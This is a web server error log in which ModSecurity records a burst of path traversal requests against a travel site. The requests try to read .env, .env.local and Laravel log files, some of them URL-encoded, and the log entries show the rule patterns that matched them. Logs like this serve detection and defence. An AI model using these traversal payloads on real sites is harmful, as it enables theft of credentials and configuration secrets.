[Fri Jul 17 08:55:04.041980 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../../../.env&token=9qh687ut99atvaoyrsdy983lmqv4twp2ijdpsvqnjrgh7wl4h7iqzeaz-mvqd5mxueecgiu1ckhebkacs89pk0cdnrucnxqwzjvkdmlziz_tjj4fygskmmsuyws39m7robjfi7zwblbw-llwt9ptfjgakltijd0lvr-7dt5lsycpg9fe68759mjtbumrt1xijwwrufi8pes40en9n3uioxhytyccwgk88kd0nfbhyzn9myrpjl0ebmqg01eum0rn4zlgsim_lts5vi-j2b4cnbmo&ts=izwnotndejifgkyrotvravmte26anbscihl5uxmgmaatbricyfi2micx47rf5lpm2ajac4ocibomff5re6hxge6tlzo6p4ve3ywbsov4uwgcqf7p2bt5tyv3ssftc2wzg2xxf5yd3x6tf2b7pbv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.042016 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.042084 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.042787 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2F..%2F..%2F.env&ref=en5TcqHicjYEZQ2wFinl9CjCkSXtaMj2aqekrdxZb_qgPpng86OV6EUMeRoD1Gl3PlFMw0g3nx_wFqellPQjGhvB1EPmxEcpcweATHk7OQ476gSWbV1NWv0G1Tp28zMlZPGfhOMcNBq_fq6oduReIdprCiBmM-1Qv_273yeuYgKymiQ2p1AtfMTX8coNYI9PzeEI6LrNjvtq13yz2AI1_hPyNOU7weaHeddjMkH8OY_g3neq9aRlR-eOX6bELq2Da7h1AikE9m9RtAm6535pt0Kj&debug=HEQYQQH27O7ZAPVNQ46JEGP63U6ZOITWWGDQF7WLCWP44WBXF7QMVXV7MA3HGQQQYSBGEN67LCE7WM24BHPLJKE4AROQNZ5ZOVMLIHROAT4JJ7XPYW2TUXHBIQZKFSGMUX4LU..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.042841 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.042926 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../../.env&ref=en5TcqHicjYEZQ2wFinl9CjCkSXtaMj2aqekrdxZb_qgPpng86OV6EUMeRoD1Gl3PlFMw0g3nx_wFqellPQjGhvB1EPmxEcpcweATHk7OQ476gSWbV1NWv0G1Tp28zMlZPGfhOMcNBq_fq6oduReIdprCiBmM-1Qv_273yeuYgKymiQ2p1AtfMTX8coNYI9PzeEI6LrNjvtq13yz2AI1_hPyNOU7weaHeddjMkH8OY_g3neq9aRlR-eOX6bELq2Da7h1AikE9m9RtAm6535pt0Kj&debug=HEQYQQH27O7ZAPVNQ46JEGP63U6ZOITWWGDQF7WLCWP44WBXF7QMVXV7MA3HGQQQYSBGEN67LCE7WM24BHPLJKE4AROQNZ5ZOVMLIHROAT4JJ7XPYW2TUXHBIQZKFSGMUX4LUPQ5KVHB4W6NKGV4Q..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.042992 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../../.env&ref=en5tcqhicjyezq2wfinl9cjcksxtamj2aqekrdxzb_qgppng86ov6eumerod1gl3plfmw0g3nx_wfqellpqjghvb1epmxecpcweathk7oq476gswbv1nwv0g1tp28zmlzpgfhomcnbq_fq6odureidprcibmm-1qv_273yeuygkymiq2p1atfmtx8conyi9pzeei6lrnjvtq13yz2ai1_hpynou7weaheddjmkh8oy_g3neq9arlr-eox6belq2da7h1aike9m9rtam6535pt0kj&debug=heqyqqh27o7zapvnq46jegp63u6zoitwwgdqf7wlcwp44wbxf7qmvxv7ma3hgqqqysbgen67lce7wm24bhpljke4aroqnz5zovmlihroat4jj7xpyw2tuxhbiqzkfsgmux4lupq5kvhb4w6nkgv4q..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.043036 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.043096 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.043290 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.043417 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.043745 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBfQAAAAQ"]
[Fri Jul 17 08:55:04.044761 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.044918 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.045432 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBIQAAABs"]
[Fri Jul 17 08:55:04.070758 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GwAAABw"]
[Fri Jul 17 08:55:04.070808 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GwAAABw"]
[Fri Jul 17 08:55:04.080361 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-GwAAABw"]
[Fri Jul 17 08:55:04.080525 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.080855 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIZvbo7N5o5zeYC-GwAAABw"]
[Fri Jul 17 08:55:04.120566 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&debug=yTVlUT0E609BjTgPJDX_-6qiPTOU5aye1w6kY3UqkmrlprOdAXsfiQwswr52bIgfWKkt9pdXhkE4q0aaPepbBbSJKokkV0kI78-ri3tIQQkvsk4BS4-4qeWMlAyw5AML5H9gBH5FGV07xl8BYtpIXJn4NLB8UmnVonWhGgcToFmLfgRUzxrqhoYBAI1JrG3JMV7KJeUuZsw3PJ6YhxVISq8UVnFJLuR01NEdmmxlcSVAcy1P69JRtiuubxUa68hP7_ykqGY5A-mRHeCpvJ5P7ic2&ts=OMAQDUY2VYJJ5PWHQ4NYAXMUNPK7W6BMWMVSIX7ZJFLPYFGWIG644YROJGAISYJFNBOZZCU3YFCXU7ML7NAKHPIJ4RDIWZWU4LGMK2PAXEPQN7N7GNC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.120645 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.120749 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../storage/logs/laravel.log&debug=yTVlUT0E609BjTgPJDX_-6qiPTOU5aye1w6kY3UqkmrlprOdAXsfiQwswr52bIgfWKkt9pdXhkE4q0aaPepbBbSJKokkV0kI78-ri3tIQQkvsk4BS4-4qeWMlAyw5AML5H9gBH5FGV07xl8BYtpIXJn4NLB8UmnVonWhGgcToFmLfgRUzxrqhoYBAI1JrG3JMV7KJeUuZsw3PJ6YhxVISq8UVnFJLuR01NEdmmxlcSVAcy1P69JRtiuubxUa68hP7_ykqGY5A-mRHeCpvJ5P7ic2&ts=OMAQDUY2VYJJ5PWHQ4NYAXMUNPK7W6BMWMVSIX7ZJFLPYFGWIG644YROJGAISYJFNBOZZCU3YFCXU7ML7NAKHPIJ4RDIWZWU4LGMK2PAXEPQN7N7GNCNED63JBOK7ERHQU6PJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.120825 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../../storage/logs/laravel.log&debug=ytvlut0e609bjtgpjdx_-6qiptou5aye1w6ky3uqkmrlprodaxsfiqwswr52bigfwkkt9pdxhke4q0aapepbbbsjkokkv0ki78-ri3tiqqkvsk4bs4-4qewmlayw5aml5h9gbh5fgv07xl8bytpixjn4nlb8umnvonwhggctofmlfgruzxrqhoybai1jrg3jmv7kjeuuzsw3pj6yhxvisq8uvnfjlur01nedmmxlcsvacy1p69jrtiuubxua68hp7_ykqgy5a-mrhecpvj5p7ic2&ts=omaqduy2vyjj5pwhq4nyaxmunpk7w6bmwmvsix7zjflpyfgwig644yrojgaisyjfnbozzcu3yfcxu7ml7nakhpij4rdiwzwu4lgmk2paxepqn7n7gncned63jbok7erhqu6pj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.120875 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.120931 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.122734 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.122931 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.123360 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBfgAAAAQ"]
[Fri Jul 17 08:55:04.124245 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPAAAAAE"]
